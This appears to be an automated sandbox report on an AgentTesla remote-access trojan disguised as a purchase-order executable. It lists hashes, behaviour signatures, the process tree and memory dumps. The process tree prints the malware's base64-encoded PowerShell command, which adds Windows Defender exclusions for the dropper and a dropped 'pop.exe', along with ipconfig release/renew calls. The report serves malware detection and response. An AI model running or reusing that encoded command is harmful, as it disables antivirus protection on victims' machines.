Analysis

  • max time kernel
    105s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 11:20

General

  • Target

    PO_7410091 & Sales Contract 0514.exe

  • Size

    1.3MB

  • MD5

    7ed3e58d0acc9137cd7df2c3de2cf24e

  • SHA1

    d242be811a8cd5c8bcef192aabd86813eaf44807

  • SHA256

    b7609fc82f166683cdd8a5875ed6eb917e6a94998c30abf3950e752fc13e38e7

  • SHA512

    9dde9ca1e04c2d9c08638ffd813f87d4218bd61c77b71ac31df77352c869a5216dd35534f6a1e0e0dd9095567a5356fc5edc4143988899c3497cfa731eab6d7a

  • SSDEEP

    24576:hiLzQFKqb7qrb6BvqAepzfhOyFWeELW6liNd5PbjcnoqiJYG6lL9BTD:YgQW7w+BSA0zfgyFWeELWgiv5PncovaH

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3400
      • C:\Users\Admin\AppData\Local\Temp\PO_7410091 & Sales Contract 0514.exe
        "C:\Users\Admin\AppData\Local\Temp\PO_7410091 & Sales Contract 0514.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Checks computer location settings
        • Drops startup file
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5988
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /release
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /release
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:4688
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUABPAF8ANwA0ADEAMAAwADkAMQAgACYAIABTAGEAbABlAHMAIABDAG8AbgB0AHIAYQBjAHQAIAAwADUAMQA0AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFAATwBfADcANAAxADAAMAA5ADEAIAAmACAAUwBhAGwAZQBzACAAQwBvAG4AdAByAGEAYwB0ACAAMAA1ADEANAAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABvAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABvAHAALgBlAHgAZQA=
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6092
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /renew
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /renew
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:2940
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2604

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1nhvnbqb.bwg.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2604-1392-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/2604-1390-0x00000000060D0000-0x00000000060DA000-memory.dmp

      Filesize

      40KB

    • memory/2604-1389-0x0000000006140000-0x00000000061D2000-memory.dmp

      Filesize

      584KB

    • memory/2604-1388-0x0000000006050000-0x00000000060A0000-memory.dmp

      Filesize

      320KB

    • memory/2604-1385-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2604-1386-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-64-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-1343-0x0000000005EE0000-0x0000000005F4A000-memory.dmp

      Filesize

      424KB

    • memory/5988-1341-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-51-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-48-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-46-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-44-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-42-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-40-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-36-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-34-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-32-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-30-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-28-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-24-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-22-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-20-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-17-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-10-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-6-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-39-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-26-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-18-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-14-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-12-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-60-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-58-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-68-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-66-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-8-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-62-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-56-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-52-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-54-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-1373-0x00000000059D0000-0x0000000005A24000-memory.dmp

      Filesize

      336KB

    • memory/5988-1344-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

      Filesize

      304KB

    • memory/5988-1345-0x00000000747EE000-0x00000000747EF000-memory.dmp

      Filesize

      4KB

    • memory/5988-1346-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1347-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1348-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1372-0x0000000007160000-0x0000000007704000-memory.dmp

      Filesize

      5.6MB

    • memory/5988-1342-0x0000000005E70000-0x0000000005EDC000-memory.dmp

      Filesize

      432KB

    • memory/5988-1379-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1383-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-0-0x00000000747EE000-0x00000000747EF000-memory.dmp

      Filesize

      4KB

    • memory/5988-1391-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1-0x00000000008E0000-0x0000000000A36000-memory.dmp

      Filesize

      1.3MB

    • memory/5988-2-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-3-0x0000000005A90000-0x0000000005BA2000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-1387-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-4-0x0000000005C10000-0x0000000005D24000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-5-0x0000000005C10000-0x0000000005D1D000-memory.dmp

      Filesize

      1.1MB

    • memory/5988-1381-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/5988-1384-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/6092-1365-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/6092-1360-0x0000000005620000-0x0000000005686000-memory.dmp

      Filesize

      408KB

    • memory/6092-1359-0x0000000005540000-0x00000000055A6000-memory.dmp

      Filesize

      408KB

    • memory/6092-1353-0x00000000054A0000-0x00000000054C2000-memory.dmp

      Filesize

      136KB

    • memory/6092-1349-0x0000000002380000-0x00000000023B6000-memory.dmp

      Filesize

      216KB

    • memory/6092-1351-0x0000000004D80000-0x00000000053A8000-memory.dmp

      Filesize

      6.2MB

    • memory/6092-1352-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/6092-1350-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB

    • memory/6092-1366-0x0000000005790000-0x0000000005AE4000-memory.dmp

      Filesize

      3.3MB

    • memory/6092-1367-0x0000000005C20000-0x0000000005C3E000-memory.dmp

      Filesize

      120KB

    • memory/6092-1368-0x0000000005C60000-0x0000000005CAC000-memory.dmp

      Filesize

      304KB

    • memory/6092-1371-0x00000000747E0000-0x0000000074F90000-memory.dmp

      Filesize

      7.7MB